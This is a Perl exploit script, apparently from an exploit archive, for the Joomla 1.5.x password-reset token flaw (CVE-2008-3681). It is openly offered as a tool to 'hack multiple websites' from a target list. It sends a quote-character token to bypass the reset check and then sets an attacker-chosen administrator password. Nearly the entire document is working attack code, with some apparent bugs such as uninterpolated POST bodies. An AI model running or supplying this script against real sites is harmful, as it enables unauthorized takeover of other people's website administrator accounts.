Joomla 1.5.x Remote Adm Change Password

#Exploit Title: Joomla 1.5.x (Token) Remote Admin Change Password Vulnerability (perl)
#Date: 2/05/2014
#Exploit Author: D35m0nd142
#Vendor Homepage: http://www.joomla.org/
#CVE: 2008-3681
# This time you can hack multiple websites by running this script just one time!
# To install File::Slurp --> cpan[1] > force install File::Slurp
# To install Text::Trim --> cpan[1] > install Text::Trim
# To install HTTP::Request --> cpan[1] > force install HTTP::Request
# To install Text::Trim --> cpan[1] > install Text::Trim
# This script picks a list of websites, to hack, from a text file called 'jwebsites.txt'. If this file does not exist or it is blank the script could not work correctly.
# [IMPORTANT] Websites within the file 'jwebsites.txt' MUST be written omitting 'http://'! If this  option won't be respected, the script will not work!

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
use IO::Socket::INET;
use File::Slurp;
use Text::Trim qw(trim);
 use Term::ANSIColor;

sub show_header
{
        local ($tc,$t) = @_ ;
        print color 'white'; print "_____________________________________________________________________________________________________\n\n"; print color 'reset';
        print "Host: $tc\n";
        print "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0\n";
        print "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n";
        print "Accept-Language: en-US,en;q=0.5\n";
        print "Accept-Encoding: gzip, deflate\n";
        print "Referer: $t/index.php?option=com_user&view=reset&layout=confirm\n";
        print "Connection: keep-alive \n";
        print "Content-Type: application/x-www-form-urlencoded\n";
}

sub show_error
{
        local ($res) = @_ ;
        print "[!] Error during the request: \n";
        print colored 'red'; print "HTTP POST error code: "; print color 'reset'; print $res->code,"\n";
        print colored 'red'; print "HTTP POST error message: "; print color 'reset'; print $res->message, "\n\n";
}

system("clear");
print color 'white'; print "-----------------------------------------------------\n";
print color 'red'; print " Joomla 1.5.x (Token) Remote Admin Change Password  \n";
print color 'blue'; print "            Created by D35m0nd142                  \n";
print color 'white'; print "-----------------------------------------------------\n\n";
print color 'reset';
$file = 'jwebsites.txt';
open(MYFILE, $file);
while(<MYFILE>)
{
        chomp;
        $a = $_ ;
        $target = $a;
        $agent = LWP::UserAgent->new();
        $agent->agent('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0');

        if($target !~ /http:\/\//)
        {
                $target_cut = $target;
                $target = "http://$target";
        }

        sleep 1;
        print color 'yellow';
        print "[+] Website loaded => ";
        print color 'reset'; print "$target\n";
        sleep 1;
        print color 'blue'; print "[*] "; print color 'reset'; print "Testing if $target could be vulnerable ...\n";
        sleep 1;
        $host = $target."/index.php?option=com_user&view=reset&layout=confirm" ;
        $req0 = HTTP::Request->new(GET=>$host);
        my $req = $agent->request($req0);
        if($req->is_success && $req->content !~ /input id=\"username\" name=\"username\" type=\"text\" class=\"required\"/ && $req->content !~ /Username:/ ) # if also username is present, it means that the website is not vulnerable
        {
                open(FILE, "> source.txt");
                print FILE $req->content;
                close(FILE);
                $extract = "grep 'value=\"1\"' source.txt > source1.txt && cut -d \"=\" -f 3 source1.txt > source.txt && cut -d '\"' -f 2 source.txt > source1.txt";
                system($extract);
                $code = read_file('source1.txt');
                chomp $code;
                trim($code);
                print color 'white'; print "[+] "; print color 'reset'; print "Extracted POST code: "; print color 'white'; print "$code\n"; print color 'reset';
                $body = "token=%27&$code=1";
                $length = length($body);
                $body = "$body\r\n\r\n";
                sleep 1;
                print "[*] Testing if the website is vulnerable ...\n";
                sleep 0.3;
                print color 'red'; print "[*] "; print color 'reset'; print "Creating HTTP POST request ... \n\n";
                sleep 1;
                show_header($target_cut, $target);
                print "Content-Length: $length\n";
                print "\ttoken=%27&$code=1\n";
                print color 'white'; print "_____________________________________________________________________________________________________\n"; print color 'reset';
                sleep 1;
                print color 'red'; print "\n[*] "; print color 'reset'; print "Sending malicious token to $host ...\n\n";
                sleep 0.8;
                my $ua = LWP::UserAgent->new;
                my $server = $host;
                my $req = HTTP::Request->new(POST => $server);
                $req->header('User-Agent' => 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0');
                $req->header('Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8');
                $req->header('Accept-Language' => 'en-US,en;q=0.5');
                $req->header('Accept-Encoding' => 'gzip, deflate');
                $req->header('Connection' => 'keep-alive');
                $req->header('Content-Type' => 'application/x-www-form-urlencoded');
                $req->header('Content-Length' => 'length($body)');
                my $post_data = '{"token": "%27", "$code": "1" }';
                #print "$post_data\n";
                $req->content($post_data);
                my $resp = $ua->request($req);

                if($resp->is_success)
                {
                        print color 'white'; print "[+] "; print color 'reset'; print "Request sent without errors.\n";
                        my $message = $resp->decoded_content;
                        #print "[*] Received reply: $message\n";
                        open(FILE, "> joutput.html");
                        print FILE $message;
                        close(FILE);
                        if ($message !~ /please paste the token in the field/ && (($message =~ /Password:/ && $message =~ /Verify Password/) or ($message =~ /Senha:/ && $message =~ /Verificar Senha/) or ($message =~ /Password:/ && $message =~ /Conferma Password:/)))
                    {
                                print color 'red';
                                print "\n[+] Exploit works! :) \n";
                                sleep 1;
                                print color 'reset';
                                print "[*] Enter the new admin password for the website --> ";
                                $newpass = <STDIN>;
                                if($newpass eq '')
                                {
                                        sleep 0.3;
                                        print color 'red'; print "[!] "; print color 'reset'; print "You can not insert a blank password little bitch!\n";
                                        exit(1);
                                }
                                print color 'red'; print "[*] "; print color 'reset'; print "Creating the second HTTP POST request ... \n";
                                sleep 1;
                                show_header($target_cut,$target);
                                $body = "password1=$newpass&password2=$newpass&$code=1";
                                $length = length($body);
                                print "Content-Length: $length\n";
                                print "$body\n";
                                print "_____________________________________________________________________________________________________\n";
                                sleep 1;
                                my $req1 = HTTP::Request->new(POST => $server);
                                $req1->header('User-Agent' => 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0');
                                $req1->header('Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8');
                                $req1->header('Accept-Language' => 'en-US,en;q=0.5');
                                $req1->header('Accept-Encoding' => 'gzip, deflate');
                                $req1->header('Connection' => 'keep-alive');
                                $req1->header('Content-Type' => 'application/x-www-form-urlencoded');
                                $req1->header('Content-Length' => '$length');
                                my $post_data = '{"password1": "$newpass", "password2":"$newpass","$code": "1" }';
                                #print "$post_data\n";
                                $req1->content($post_data);
                                my $resp = $ua->request($req1);
                                if($resp->is_success)
                                {
                                        print color 'white'; print "[+] Request sent without errors and password changed.\n"; print color 'reset';
                                        my $message = $resp->decoded_content;
                                        print "[*] Try to login to the administrator panel now :) \n";
                                        print "[*] Enjoy it :) Bye... \n\n!";
                                }
                                else
                                {
                                        show_error($resp);
                                }
                        }
                        else
                        {
                                print color 'red'; print "\n[!] "; print color 'reset'; print "Token not bypassed. Website is not vulnerable :( \n\n";
                        }
                }
                else
                {
                        show_error($resp);
                }
        }

        else
        {
                print color 'red';
                print "[!] "; print color 'reset'; print "The page $host contains also the parameter 'Username', so the website is not vulnerable.\n\n";
        }
}